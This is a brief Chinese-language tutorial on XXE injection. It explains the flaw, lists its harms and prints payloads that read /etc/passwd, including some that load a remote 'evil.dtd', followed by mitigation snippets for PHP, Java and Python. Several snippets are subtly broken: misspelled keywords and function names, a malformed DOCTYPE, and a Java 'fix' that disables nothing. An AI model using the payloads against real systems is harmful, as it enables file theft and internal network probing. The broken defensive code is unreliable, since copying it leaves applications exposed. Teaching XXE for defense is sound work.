XXE注入原理
XXE(XML External Entity Injection)外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml库,而libxml2.9以前版本默认支持并开启对外部实体的引用,服务端解析用户提交的XML文件时,卫队XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持file://和ftp://等协议,导致可加载恶意外部文件和代码。
XXE注入危害
任意文件读取
命令执行
内网端口扫描
攻击内网网站
Dos攻击等
XXE外部实体注入构造
1,通过DTD外部实体声明
<?xml verision="1.0"?>
<DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>
2,通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">
]>
<a>&b;</a>
#而http://mark4z5.com/evil.dtd内容为
<!ENTITY b SYSTEM "file:///etc.passwd">
3,通过DTD外部实体声明引入的外部DTD文档,再引入外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">
]>
<a>%b</a>
支持使用的协议
XXE注入攻击类型
XXE任意文件读取
Blind XXE
端口扫描
远程代码执行
XXE注入防御
1,使用开发语言提供的禁用外部实体的方法
PHP:
libxml_diable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParse(resolve_entities=False))
2,过滤用户提交的XML数据中的关键词